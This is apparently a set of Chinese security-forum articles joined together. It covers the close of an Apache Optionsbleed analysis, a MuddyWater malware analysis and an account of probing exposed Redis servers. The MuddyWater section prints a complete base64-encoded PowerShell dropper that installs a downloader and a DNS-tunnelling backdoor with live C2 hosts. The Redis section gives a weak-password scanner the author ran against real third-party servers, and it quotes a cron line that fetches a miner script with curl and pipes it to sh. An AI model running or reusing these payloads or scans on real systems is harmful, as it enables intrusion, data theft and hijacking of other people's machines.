最后，当服务器开始对 Options 进行响应的时候，会进入一个叫做 make_allow 的函数，其作用就是生成 Options
返回的支持方法的字符串，这个函数中有一个很重要的变量 mask，它是一个选择子，用来判断 hash 表上哪些节点是符合要求的，在我们的调试器里这个值是37。
`make_allow`具体实现如下，函数中的`AP_METHOD_BIT`是 int64 型的1，当 mask 值为37（二进制100101）时，要满足
mask 的筛选条件 hash 节点的 val 值需要为0、2或5。0x811b5d0 这个节点（已经释放的abcxyz）本来是不符合要求的，但是由于其
val 已经被写成0了，所以在这里也符合了筛选条件，这就是我们之前看到 allow 中多了一个逗号的原因。其实真正的情况是 allow
里多出了一个字符串，不过这个字符串为空字符串，所以只是多了一个分割用的逗号。
#### 补丁分析：
在补丁中，我们看到服务器在注册`methods_registry`前进行了验证，不让`.htaccess`全局注册新方法，但并未真正地修补漏洞的 root
cause，而是通过一个判断来阻止该漏洞执行到有问题的代码流程上。
#### 结论：
这是一个由 UAF 导致的信息泄漏漏洞，正如漏洞作者所说这个漏洞的影响确实远小于心脏出血，原因如下：
第一，使用`.htaccess`文件进行服务器配置本身并不被Apache官方推荐，因为这会极大的影响服务器的响应效率。理论上，只有对特定目录设置权限之类的特殊情况，`.htaccess`文件才应该被使用，再加上想要触发漏洞还要满足`.htaccess`文件中需定义一个未被全局注册过的Limit指令这一条件，使得符合情况的机器大幅减少。
第二，漏洞利用程序不一定能够稳定运行，只有当hash节点的val被覆盖成了0、2或5的情况下，字符串才能被当作是合法的方法加入到allow数组中。
第三，也是最重要的一点，这个漏洞泄漏的内存数据并不大。
#### 参考
[Optionsbleed - HTTP OPTIONS method can leak Apache's server
memory](https://blog.fuzzing-project.org/60-Optionsbleed-HTTP-OPTIONS-method-can-leak-Apaches-server-memory.html "Optionsbleed - HTTP OPTIONS method can
leak Apache's server memory")
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近400个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
# 来自中东的污水，近期MuddyWater组织样本分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
MuddyWater又称污水，是疑似来源于伊朗的APT组织，主要针对中东地区。该APT组织比较善于利用powershell等脚本后门内存加载，无文件落地的方式使得MuddyWater的攻击具有一定的免杀性。此外，该组织早期的攻击活动与FIN7组织有关联，但由于其动机完全不同所以属于两个不同的组织，该组织主要以网络间谍活动为主要动机。
## 样本分析
### MofaVPN.xls
样本hash：7cb4e466936bbb10fc6633c5a37d1e6c
样本名称：MofaVPN.xls
样本类型：xls
原始样本通过仿冒office官方来提醒用户启用恶意宏代码。
恶意宏代码启用后，文档会显示一个简单表格以迷惑用户：
宏代码执行后，会在WorkBook_Open方法中调用komisova_tr2和komisova_s2函数执行关键功能
在komisova_tr2函数中，程序首先会读取当前工作表第一行25列和26列的内容，并分别赋值给komisova_vb和komisova_ps变量：
这两行的内容刚好会被原始诱饵文档的提示信息给挡住：
接着创建一个shell对象和一个file对象并通过shell对象获取到%Public%路径：
路径成功获取之后，程序会将上面获取到的vb和ps变量base64解码之后赋值给cmd变量，将获取到的%public%路径拼接到cmd2变量。然后判断C:\Users\Public\Libraries目录下是否存在komisova.vbs文件和up、dn、tp目录，若不存在则创建。最后程序分别通过wscript执行cmd和cmd2的指令。
komisova_s2的功能较为简单，主要是用于切换活动工作表。
由于excel的调试界面中有变量显示长度限制，我们在调试的时候不能看到执行的完整命令。
于是可以通过写入文件的方式分别将cmd和cmd2给写到文件中。
vba中写入文件的方法很简单，可以简单封装一个函数进行写入：
Private Sub CreateTxtFile1()
Dim fso As Object
Dim myTxt As Object
Dim MyFName As String
MyFName = ThisWorkbook.path & "/cmd.txt"
Set fso = CreateObject("Scripting.FileSystemObject")
Set myTxt = fso.CreateTextFile(fileName:=MyFName, OverWrite:=True)
myTxt.Write cmd
myTxt.Close
Set myTxt = Nothing
Set fso = Nothing
End Sub
其中cmd2命令比较简单，主要是设置了一个名为GoogleUpdatesTaskReport的计划任务，该计划任务每两分钟执行一次，用于启动komisova.vbs文件
cmd变量解码之后一段powershell Dropper，用于释放后续的vbs和ps1文件
powershell "&{$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('SE9NRT0iJXB1YmxpYyVcTGlicmFyaWVzXCINClNFUlZFUj0iaHR0cDovL3dpbmRvd3N1cGRhdGUubWUvdXBkYXRlLWluZGV4LmFzcHg/cmVxPV9fXCINCkR3bj0icG93ZXJzaGVsbCAiIiZ7JHdjPShuZXctb2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KTskd2MuVXNlRGVmYXVsdENyZWRlbnRpYWxzPSR0cnVlOyR3Yy5IZWFkZXJzLmFkZCgnQWNjZXB0JywnKi8qJyk7JHdjLkhlYWRlcnMuYWRkKCdVc2VyLUFnZW50JywnTWljcm9zb2Z0IEJJVFMvNy43Jyk7d2hpbGUoMSl7dHJ5eyRyPUdldC1SYW5kb207JHdjLkRvd25sb2FkRmlsZSgnIiZTRVJWRVImIi1fJm09ZCcsJyImSE9NRSYiZG5cJyskcisnLi1fJyk7U2V0LUNvbnRlbnQgLVBhdGggKCciJkhPTUUmImRuXCcrJHIrJy4tXycpIC1WYWx1ZSAoW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygoR2V0LUNvbnRlbnQgLVBhdGggKCciJkhPTUUmImRuXCcrJHIrJy4tXycpKSkpIC1FbmNvZGluZyBCeXRlOyRjZD0kd2MuUmVzcG9uc2VIZWFkZXJzWydDb250ZW50LURpc3Bvc2l0aW9uJ107UmVuYW1lLUl0ZW0gLXBhdGggKCciJkhPTUUmImRuXCcrJHIrJy4tXycpIC1uZXduYW1lICgkY2QuU3Vic3RyaW5nKCRjZC5JbmRleE9mKCdmaWxlbmFtZT0nKSs5KSl9Y2F0Y2h7YnJlYWt9fX0iIiINCkNyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpLlJ1biBSZXBsYWNlKER3biwiLV8iLCJkd24iKSwwDQpEb3dubG9hZEV4ZWN1dGU9InBvd2Vyc2hlbGwgIiImeyR3Yz0obmV3LW9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCk7JHdjLlVzZURlZmF1bHRDcmVkZW50aWFscz0kdHJ1ZTskd2MuSGVhZGVycy5hZGQoJ0FjY2VwdCcsJyovKicpOyR3Yy5IZWFkZXJzLmFkZCgnVXNlci1BZ2VudCcsJ01pY3Jvc29mdCBCSVRTLzcuNycpOyRyPUdldC1SYW5kb207JHdjLkRvd25sb2FkRmlsZSgnaHR0cDovL3dpbmRvd3N1cGRhdGUubWUvdXBkYXRlLWluZGV4LmFzcHg/cmVxPV9fXC1fJm09ZCcsJ2M6XHVzZXJzXHB1YmxpY1xsaWJyYXJpZXNcZG5cJyskcisnLi1fJyk7U2V0LUNvbnRlbnQgLVBhdGggKCciJkhPTUUmImRuXCcrJHIrJy4tXycpIC1WYWx1ZSAoW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygoR2V0LUNvbnRlbnQgLVBhdGggKCciJkhPTUUmImRuXCcrJHIrJy4tXycpKSkpIC1FbmNvZGluZyBCeXRlO0ludm9rZS1FeHByZXNzaW9uICgnIiZIT01FJiJkblwnKyRyKycuLV8gPiImSE9NRSYidXBcJyskcisnLV8nKTskY2Q9JHdjLlJlc3BvbnNlSGVhZGVyc1snQ29udGVudC1EaXNwb3NpdGlvbiddO1JlbmFtZS1JdGVtIC1wYXRoICgnIiZIT01FJiJ1cFwnKyRyKyctXycpIC1uZXduYW1lICgkY2QuU3Vic3RyaW5nKCgkY2QuSW5kZXhPZignZmlsZW5hbWU9JykrOSksKCRjZC5MZW5ndGgtMjUpKSsnLmJhdC50eHQnKTtHZXQtQ2hpbGRJdGVtICImSE9NRSYidXBcIHwgRm9yRWFjaC1PYmplY3Qge2lmKChHZXQtSXRlbSAoJF8uRnVsbE5hbWUpKS5sZW5ndGggLWd0IDApe1tTeXN0ZW0uQ29udmVydF06OlRvQmFzZTY0U3RyaW5nKChbU3lzdGVtLklPLkZpbGVdOjpSZWFkQWxsQnl0ZXMoJF8uRnVsbE5hbWUpKSkgfCBPdXQtRmlsZSAkXy5GdWxsTmFtZTskd2MuVXBsb2FkRmlsZSgnIiZTRVJWRVImInVwbCZtPXUnLCRfLkZ1bGxOYW1lKTt3YWl0Zm9yIGhhaGEgL1QgM307UmVtb3ZlLUl0ZW0gJF8uRnVsbE5hbWV9O1JlbW92ZS1JdGVtICgnIiZIT01FJiJkblwnKyRyKycuLV8nKX0iIiINCkNyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpLlJ1biBSZXBsYWNlKERvd25sb2FkRXhlY3V0ZSwiLV8iLCJiYXQiKSwwDQprb21jPSJwb3dlcnNoZWxsIC1leGVjIEJ5cGFzcyAtRmlsZSAiJkhPTUUmImtvbWlzb3ZhLnBzMSINCkNyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpLlJ1biBrb21jLDANCg==')); Set-Content 'C:\Users\Public\Libraries\komisova.vbs' $f;$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGdsb2JhbDpteWhvc3QgPSAnLndpbmRvd3N1cGRhdGUubWUnIA0KICRnbG9iYWw6ZmlsZW5hbWUgPSAnJyANCiAkZ2xvYmFsOm15ZmxhZyA9IDAgDQogJGdsb2JhbDpteWlkID0gJyMjIycgDQogJGdsb2JhbDpteWhvbWUgPSAiJGVudjpQdWJsaWNcTGlicmFyaWVzXCIgDQogZnVuY3Rpb24gY29udmVydFRvLUJhc2UzNiAoJGRlY051bT0iIikgDQogeyANCiAgICAkZGVjTnVtICU9IDQ2NjU2IA0KICAgICRhbHBoYWJldCA9ICIwMTIzNDU2Nzg5QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoiIA0KICAgIGRvIA0KICAgIHsgDQogICAgICAgICRyZW1haW5kZXIgPSAoJGRlY051bSAlIDM2KSANCiAgICAgICAgJGNoYXIgPSAkYWxwaGFiZXQuc3Vic3RyaW5nKCRyZW1haW5kZXIsMSkgDQogICAgICAgICRiYXNlMzZOdW0gPSAiJGNoYXIkYmFzZTM2TnVtIiANCiAgICAgICAgJGRlY051bSA9ICgkZGVjTnVtIC0gJHJlbWFpbmRlcikgLyAzNiANCiAgICB9IA0KICAgIHdoaWxlICgkZGVjTnVtIC1ndCAwKSANCiAgICAkYmFzZTM2TnVtLlBhZExlZnQoMywnMCcpIA0KCX0gDQoJIA0KCSANCglmdW5jdGlvbiBHZXRTdWIoJG15ZmxhZzMsICRjbWRpZD0nMDAnLCAkcGFydGlkPScwMDAnKSANCiB7IA0KICAgIGlmKCRteWZsYWczIC1lcSAwKSANCiAgICB7IA0KICAgICgnd3cwMDAwMDAnKyhjb252ZXJ0VG8tQmFzZTM2KEdldC1SYW5kb20gLU1heGltdW0gNDY2NTUpKSkgDQogICAgfSANCiAgICBlbHNlaWYoJG15ZmxhZzMgLWVxIDEpIA0KICAgIHsgDQogICAgICAgICgnd3cnKyRnbG9iYWw6bXlpZCsnMDAwMDAnKyhjb252ZXJ0VG8tQmFzZTM2KEdldC1SYW5kb20gLU1heGltdW0gNDY2NTUpKSkgDQogICAgfSANCiAgICBlbHNlaWYoJG15ZmxhZzMgLWVxIDIpIA0KICAgIHsgDQogICAgICAgICgnd3cnKyRnbG9iYWw6bXlpZCskY21kaWQrJHBhcnRpZCsoY29udmVydFRvLUJhc2UzNihHZXQtUmFuZG9tIC1NYXhpbXVtIDQ2NjU1KSkpIA0KICAgIH0gDQp9IA0KIGZ1bmN0aW9uIFN0cjJIZXgoJG15c3RyKSANCiB7IA0KICAgIFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6RGVmYXVsdC5HZXRCeXRlcygkbXlzdHIpKS5SZXBsYWNlKCItIiwgIiIpIA0KfSANCiBmdW5jdGlvbiBBbGl2ZSANCiB7IA0KCWlmKCRnbG9iYWw6bXlpZCAtZXEgJyMnKycjIycpIA0KCXsgDQoJCXJldHVybiAwIA0KCX0gDQogICAgU2VuZFJlY2VpdmVETlMgKChHZXRTdWIgMSkrJzMwJykgDQogICAgJHN1YiA9ICgoR2V0U3ViIDEpKycyMzJBJykgKyAoU3RyMkhleCAkZ2xvYmFsOmZpbGVuYW1lKSANCiAgICAkaSA9IDEgDQogICAgJHJldCA9IDAgDQogICAgd2hpbGUoJGdsb2JhbDpteWZsYWcgLWVxIDEpIA0KICAgIHsgDQogICAgICAgICRyZXQgPSAxIA0KICAgICAgICAkc3ViMiA9ICRzdWIgKyAoU3RyMkhleCAkaSkgDQogICAgICAgIFNlbmRSZWNlaXZlRE5TICRzdWIyIA0KICAgICAgICAkaSsrIA0KICAgIH0gDQogICAgaWYoJHJldCAtZXEgMSkgDQogICAgeyANCiAgICAgICAgRml4QmF0RmlsZSAoJGdsb2JhbDpteWhvbWUrJ3RwXFwnKyRnbG9iYWw6ZmlsZW5hbWUrIi5iYXQiKSANCiAgICB9IA0KICAgICRyZXQgDQp9IA0KIA0KIGZ1bmN0aW9uIFNlbmRSZWNlaXZlRE5TICgkZCkgDQp7IA0KCSRjbnQgPSAwIA0KCXdoaWxlICgkY250IC1sdCAyMCkgDQoJeyANCgkJdHJ5IA0KCQl7IA0KCQkJJG15ZGF0YSA9IChbU3lzdGVtLk5ldC5ETlNdOjpHZXRIb3N0QnlOYW1lKCRkKyRnbG9iYWw6bXlob3N0KS5BZGRyZXNzTGlzdFswXSkgDQoJCQkkbXlkYXRhID0gKCRteWRhdGEgfCBGb3JFYWNoLU9iamVjdCB7JF8uSVBBZGRyZXNzVG9TdHJpbmd9KSANCgkJCSRjbnQgPSAyNSANCgkJfSANCgkJY2F0Y2ggDQoJCXsgDQoJCQlTdGFydC1TbGVlcCAtbSA1MDAgDQoJCQkkY250KysgDQoJCX0gDQoJfSANCiAgICBpZigtbm90KCRjbnQgLWVxIDI1KSkgDQogICAgeyANCiAgICAgICAgKCcjJysnIyMnKSANCiAgICB9IA0KICAgIGVsc2VpZigkZ2xvYmFsOm15ZmxhZyAtZXEgMCAtYW5kICRteWRhdGEuU3RhcnRzV2l0aCgnMzMuMzMuJykpIA0KICAgIHsgDQogICAgICAgICR0bXAgPSAkbXlkYXRhLlN1YlN0cmluZyg2KS5TcGxpdCgnLicpIA0KICAgICAgICAkZ2xvYmFsOmZpbGVuYW1lID0gKFtjaGFyXSBbaW50XSAkdG1wWzBdKSArIChbY2hhcl0gW2ludF0gJHRtcFsxXSkgDQogICAgICAgICRnbG9iYWw6bXlmbGFnID0gMSANCiAgICB9IA0KICAgIGVsc2VpZiAoJG15ZGF0YS5FcXVhbHMoJzM1LjM1LjM1LjM1JykpIA0KICAgIHsgDQogICAgICAgICRnbG9iYWw6bXlmbGFnID0gMCANCiAgICB9IA0KICAgIGVsc2VpZiAoJGdsb2JhbDpteWZsYWcgLWVxIDEpIA0KICAgIHsgDQogICAgICAgICR0bXAgPSAkbXlkYXRhLlNwbGl0KCcuJykgDQogICAgICAgIFtTeXN0ZW0uSU8uRmlsZV06OkFwcGVuZEFsbFRleHQoJGdsb2JhbDpteWhvbWUrJ3RwXCcrJGdsb2JhbDpmaWxlbmFtZSsiLmJhdCIsICgoW2NoYXJdIFtpbnRdICR0bXBbMF0pICsgKFtjaGFyXSBbaW50XSAkdG1wWzFdKSArIChbY2hhcl0gW2ludF0gJHRtcFsyXSkgKyAoW2NoYXJdIFtpbnRdICR0bXBbM10pKSkgDQogICAgfSANCiAgICBlbHNlaWYoJGdsb2JhbDpteWlkIC1lcSAnIycrJyMjJykgDQogICAgeyANCiAgICAgICAgKFtjaGFyXSBbaW50XSAkbXlkYXRhLlNwbGl0KCcuJylbMF0pIA0KICAgIH0gDQogfSANCiBmdW5jdGlvbiBGaXhCYXRGaWxlICgkYmF0cGF0aCkgDQogeyANCiAgIChHZXQtQ29udGVudCAkYmF0cGF0aCkuU3Vic3RyaW5nKDEwKSB8IFNldC1Db250ZW50ICRiYXRwYXRoIA0KfSANCiBmdW5jdGlvbiBTZW5kRmlsZSgkbXlGaWxlUGF0aCkgDQogeyANCiAgICAkbXlGaWxlTmFtZSA9IFtTeXN0ZW0uSU8uUGF0aF06OkdldEZpbGVOYW1lV2l0aG91dEV4dGVuc2lvbigkbXlGaWxlUGF0aCkgDQogICAgJG15c3RyID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbFRleHQoJG15RmlsZVBhdGgpIA0KICAgICRpPTAgDQogICAgJG15dGVtcCA9ICcnIA0KICAgICRqPTAgDQogICAgd2hpbGUoJGkgLWxlICRteXN0ci5MZW5ndGgpIA0KICAgIHsgDQogICAgICAgICRteXRlbXAgKz0gJG15c3RyWyRpXSANCiAgICAgICAgaWYoKCgkaSUyNCkgLWVxIDIzKSAtb3IgKCRpIC1lcSAkbXlzdHIuTGVuZ3RoKSkgDQogICAgICAgIHsgDQogICAgICAgICAgICAkbXloZXggPSBTdHIySGV4ICRteXRlbXAgDQogICAgICAgICAgICBTZW5kUmVjZWl2ZUROUyAoKEdldFN1YiAyICRteUZpbGVOYW1lIChjb252ZXJ0VG8tQmFzZTM2ICRqKSkgKyAkbXloZXgpIA0KICAgICAgICAgICAgJGorKyANCiAgICAgICAgICAgICRteXRlbXAgPSAnJyANCiAgICAgICAgfSANCiAgICAgICAgJGkrKyANCiAgICB9IA0KIH0gDQogDQogZnVuY3Rpb24gR2V0SUQgDQogeyANCiAgICAkZ2xvYmFsOm15aWQgPSBTZW5kUmVjZWl2ZUROUyAoKEdldFN1YiAwKSsnMzAnKSANCiB9IA0KIA0KIGZ1bmN0aW9uIENoYW5nZVRoaXNGaWxlICgkYm90aWQpIA0KIHsgDQoJKEdldC1Db250ZW50ICIkZW52OlB1YmxpY1xMaWJyYXJpZXNca29taXNvdmEucHMxIikgLXJlcGxhY2UgKCcjJysnIyMnKSwkYm90aWQgfCBTZXQtQ29udGVudCAiJGVudjpQdWJsaWNcTGlicmFyaWVzXGtvbWlzb3ZhLnBzMSIgDQogfSANCiANCmZ1bmN0aW9uIEluaXQgDQogeyANCiAgICBpZigkZ2xvYmFsOm15aWQgLWVxICgnIycrJyMjJykpIA0KICAgIHsgDQoJCW1kIC1Gb3JjZSAoJGdsb2JhbDpteWhvbWUrJ3RwXCcpIA0KCQlHZXRJRCANCgkJQ2hhbmdlVGhpc0ZpbGUgJGdsb2JhbDpteWlkIA0KICAgIH0gDQogfSANCiBmdW5jdGlvbiBtYWluIA0KIHsgDQogICAgSW5pdCANCiAgICBpZihBbGl2ZSAtZXEgMSkgDQogICAgeyANCiAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gKCRnbG9iYWw6bXlob21lKyd0cFwnKyRnbG9iYWw6ZmlsZW5hbWUrJy5iYXQgPiAnKyRnbG9iYWw6bXlob21lKyd0cFwnKyRnbG9iYWw6ZmlsZW5hbWUrJy50eHQnKSANCiAgICAgICAgU2VuZEZpbGUgKCRnbG9iYWw6bXlob21lKyd0cFwnKyRnbG9iYWw6ZmlsZW5hbWUrJy50eHQnKSANCiAgICAgICAgUmVtb3ZlLUl0ZW0gKCRnbG9iYWw6bXlob21lKyd0cFwnKyRnbG9iYWw6ZmlsZW5hbWUrJy5iYXQnKSANCiAgICAgICAgUmVtb3ZlLUl0ZW0gKCRnbG9iYWw6bXlob21lKyd0cFwnKyRnbG9iYWw6ZmlsZW5hbWUrJy50eHQnKSANCiAgICB9IA0KIH0gDQogbWFpbiANCg==')); Set-Content 'C:\Users\Public\Libraries\komisova.ps1' $f;(Get-Content $env:Public\Libraries\komisova.vbs) -replace '__',(Get-Random) | Set-Content $env:Public\Libraries\komisova.vbs}"
该Dropper一共由五部分组成。
第一部分是解码了一段base64编码的数据并赋值给了$f变量
第二部分是将解码之后的$f变量写入到komisova.vbs中：
第三部分，再次解密一段base64数据放入到$f变量：
第四部分，将第二次解码的代码写入到komisova.ps1中：
第五部分，将vbs之中的双下划线替换为一个随机数：
**komisova.vbs**
释放的komisova.vbs是一个利用powershell的downloader。
该vbs执行之后，首先会尝试从
hxxp://windowsupdate.me/update-index.aspx?req=1940721589\
C2下载文件到本地执行，接着调用powershell执行刚才释放的komisova.ps1文件。
vbs中内嵌了两段powershell代码，第一段powershell代码用于下载文件并将其保存到先前创建的dn目录中
第二段powershell代码用于下载bat文件保存到dn目录中并执行后自删除
### komisova.ps1
经过分析，该ps1文件是一个简单后门。
程序首先预定义了了一些变量，包括C2域名以及文件存放路径：
在入口调用的main函数中，程序首先会调用Init函数进行初始化。
初始化时首先会判断$global:myid是否为 ###
，如果是，则说明是该后门第一次启动或表明myid变量没有成功赋值，在这种情况下，程序会调用GetId函数尝试通过SendReceiveDNS对C2发起请求以获取dns服务器，使用SendReceiveDNS函数的返回值给myid变量赋值。然后尝试将新的myid替换掉该ps文件中的’###’符号。
初始化函数完成之后，程序会通过Alive函数判断样本是否在线，判断方式是尝试从C2下载bat文件到本地，下载成功返回1.
若bat文件成功下载，程序则会启动该bat文件并且将结果管道输出到与bat文件听命的txt文件中，并且通过SendFile将该文件发送到C2，然后删除bat文件和txt文件。
虽然由于C2已失效的无法获取到这里的bat文件，但是根据后续代码来看，这里的bat应该是一个简单的信息收集脚本。
### 小结
1.原始样本为xls文档，文档伪装office官方提示用户启用宏。
2.宏代码执行后会从活动工作表中读取cells内容。
3.根据读取出来的内容解码出一段vbs代码和一段用于创建计划任务的shell指令。
4.vbs代码会释放一个vbs文件和一个powershell文件。
5.释放的vbs文件是一个downloader，并且带有load释放的ps文件的功能。
6.释放的powershell文件是一个后门，用于收集用户计算机信息。
### ورشة عمل تدریبیة.doc
样本hash：a2707bfb35c9fed11d81949873d3a00a
样本名称：ورشة عمل تدریبیة.doc
样本类型：doc
原始样本带恶意宏代码并通过提示用户文档已被保护，诱导用户启用宏。
宏代码启用后，会自动执行Document_Open()方法，调用main和DialogUserInfo
在main函数中，程序首先通过generateMailFormat拼接出用户的启动路径
接着程序拼接并解密一段预定义的字符串
解密算法很简单，就是将最开始预定义的数组进行循环替换：
替换完成之后，程序继续对该字符串进行了三次替换操作，最后通过CreateTextFile将其保存到了之前拼接出来的启动路径中，文件名为EGOJT7.vbs
vbs文件头部预定义了一些变量，顺便调用了几个函数进行初始化：
首先是func_MKO函数，func_MKO中主要是调用了func_VYMMG，然后将函数参数和函数的返回结果拼接返回。
此外，如果COCAP_0 = 126，则还会调用func_ZQEKP，在本样本中，COCAP_0的值为0 ，不会走到该分支。
func_ZQEKP包含了一些基本的信息收集和远控功能
最后的func_MFVKE函数用于收集本地主机的基本信息：
func_VYMMG函数功能是通过cmd执行参数传递进来的指令并输出保存到out.txt中
func_MKO之后是调用了解密函数func_HWTU
将第一部分的zin.znr.zjq.ziu:uuv,zmr.zzn.nv.ry:uuv,zmr.zuz.yq.mz:uuv,mn.yvq.yzy.mz:uuv解密出来会得到一个ip列表：
“107.175.196.104:443,185.117.73.52:443,185.141.26.81:443,87.236.212.81:443”
然后将其以逗号分隔传递到新的数组中：
第二个串解密出来得到一个请求协议头：
“Mozilla/4.0 (compatible; ms-office; MSOffice 16)”
这一系列初始化完成之后，程序就会接着调用func_KFYZG()
在该函数中，程序首先是通过func_VYMMG打开资源管理器
然后调用func_QNBPR进行随机数睡眠
随眠之后根据之前解码的ip地址和端口和通过whoami获取到的信息拼接起来形成请求地址：
样本首先会判断func_XBW函数返回值是否为空，当func_XBW返回非空，则说明程序与服务器已经建立了正常连接，那么程序则会调用func_YUB对服务器发起请求。
第二次请求的时候，多了status参数，这里已经设置为1，猜测是表明成功上线。此外，样本还会将第一次网络请求返回的JVLOQ_6作为命令参数传递到func_VYMMG函数中并将运行结果作为参数返回到服务器。 | 社区文章 |
# 一个小知识点竟引发了对挖矿脚本的追踪与分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01起因
事情的经过是这样的，前天，由于太菜而找不到实习工作的阿闻，正艰难地复习着网络安全知识以及学习诸多大厂留下的面试题。
他刚看到了这样一道题：
据说来自某大厂，知识贫瘠的他虽然大致知道题中的几个关键知识点，
但是却不是很深刻，所以他用这个大厂的搜索引擎搜了一下这道题：
~~（Ps：你说我说这是谷歌你们信吗）~~
然后他在前辈的经验中找到了知识：
Tk教主曾经说过，只有实践才能提高技术。
~~（tk：我没说，不是我，别瞎说。）~~
然后我打开我的好朋友FOFA网络空间资产搜索引擎，让它帮我探寻一下。
~~（为啥fofa是我的好朋友，因为它送我会员呀QAQ）~~
简单搜索一下，发现了很多redis服务器。
~~（你问我为啥region选择hk，其实我还想选择tw qaq）~~
虽然搜索结果有很多，但是并不是所有都有漏洞，所以需要验证一下。
只有存在未授权或弱口令的redis服务器才可以进行下一步操作。
然后我找了一个脚本，并修改了一下：
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port,timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("SAVErn")
result = s.recv(1024)
if "OK" in result:
return u"未授权访问"
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %srn" %(pass_))
result = s.recv(1024)
if '+OK' in result:
return u"存在弱口令，密码：%s" % (pass_)
except Exception, e:
pass
if __name__ == '__main__':
for ip in open("url.txt"):
ip = line.rstrip()
print ip
port = '6379'
print check(ip,port,timeout=10)
直接 **s.send(“SAVErn”)** 是为了验证是否有权限，因为如果没有save的权限还是不能进行下一步操作。
用这个自动化脚本可以探测开放6379端口的ip是否是存在未授权或弱口令的redis服务器。
写了一个爬虫可以简单爬取一下搜到的ip，保存为url.txt
通过脚本我验证了几个存在未授权的redis服务器，而在我想要进一步探索的时候，却发现这几个服务器 **并不简单** 。
## 0x02 被写入计划任务的redis服务器
知识贫瘠的阿闻发现了存在漏洞的服务器本来很高兴，他甚至激动地输入了两次info，兴奋过头的他却没有发现这几台服务器都是windows的。
当阿闻仔细看的时候，发现了一个有趣的地方，存在漏洞的两个ip是在同一网段：
习惯性的用nmap扫一下整个网段：
**结果：**
有连续五个ip是存在漏洞的，而且都是 **windows** 系统。
阿闻这回仔细查看了各个redis服务器的内容，发现了一些共同的内容。
**ip：**
182.*.*.38
182.*.*.37
182.*.*.36
182.*.*.35
182.*.*.34
216.*.*.116
**特征：**
这些redis 服务器的数据库内都有db0，且里面只有一个key：1
**Key 1的内容** ：
*/1 * * * * curl -fsSL http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |sh
显然这是一个计划任务，似乎有人想通过redis漏洞批量攻击。
不过因为这几台服务器都是windows，无法被通过执行计划任务而感染。
使用namp对上述redis主机扫描结果：
**类似：**
共同特征：
开放端口
135
139
445
593
843
4444
49152——49159
正常的攻击方式应该是：
> 攻击者修改redis 的config ，将dir设置为计划任务的目录:
> **/var/spool/cron/**
> 并且设置 dbfilename为”root”
> 然后写入计划任务到key中，
> 等待系统执行计划任务
不过此方法只用于linux服务器。
我后续倒是遇到了几台通过该方法被感染的linux服务器，
最近网上有个老哥就中了这挖矿病毒：
<https://www.cnblogs.com/chbyiming-bky/articles/12654338.html>
中招的是阿里云服务器。
目前看到的人数不多，应该都是中招的。
然后我仔细搜索了一下，这个V520原来早就出现过：
### **1、分析IP**
185.181.10.234会被解析到
<https://pypi.org/project/gsearch/>
访问185.181.10.234
得到的响应头信息：
从 **Last-Modified** 来看，此文件在服务器端上次被修改的时间是：
**2019年的4月21日星期六，10:15:20** （格林尼治时间）
服务器是 **nginx**
主页写着一段js脚本，内容是跳转到<https://pypi.org/project/gsearch/>
**查看该网站内各个文件的修改时间**
/E5DB0E07C3D7BE80V520/ **networkservice**
/E5DB0E07C3D7BE80V520/ **sysguard**
/E5DB0E07C3D7BE80V520/ **update.sh**
/E5DB0E07C3D7BE80V520/ **config.json**
E5DB0E07C3D7BE80V520/ **sysupdate**
我们可以看到：
> **networkservice** 和 **sysguard** 的最后修改时间是 **2019/5/27**
> 而 **update.sh** 、 **config.json** 和 **sysupdate** 三个文件的最后修改时间是 **2020/3/8**
这个ip对应着 **https://de.gsearch.com.de/** 这个域名
同时，我找到了[de.gsearch.com.de/api/](https://de.gsearch.com.de/api/)的兄弟：
[us.gsearch.com.de/api/](https://us.gsearch.com.de/api/sysupdate)
属于不同子域名，
关于这个us域名，最早是 **2019年6月3号** 被记录。
那时对应的ip为： **209.182.218.161**
关于ip最早被记录是 **2019年5月31日**
有趣的是，现在访问这个域名，依旧会被跳转到：
<https://pypi.org/project/gsearch/>
referer正是us.gsearch.com.de/
us.gsearch.com.de的主页最后修改时间是 **2019/3/18**
### **2、挖矿病毒**
**组成部分**
我们重新回到v520，从捕获的init.sh分析可以得知：
这套挖矿流程需要这 **五个部分**
**config.json** 是挖矿配置文件，包含钱包地址与挖矿参数等；
地址：
http://185.181.10.234/E5DB0E07C3D7BE80V520/config.json
矿池地址：
xmr.f2pool.com:13531
xmr-eu2.nanopool.org:14444
randomxmonero.hk.nicehash.com:3380
**init.sh** （ **update.sh** ）负责调度，统领全局，并且持久化，总之功能齐全。
地址：
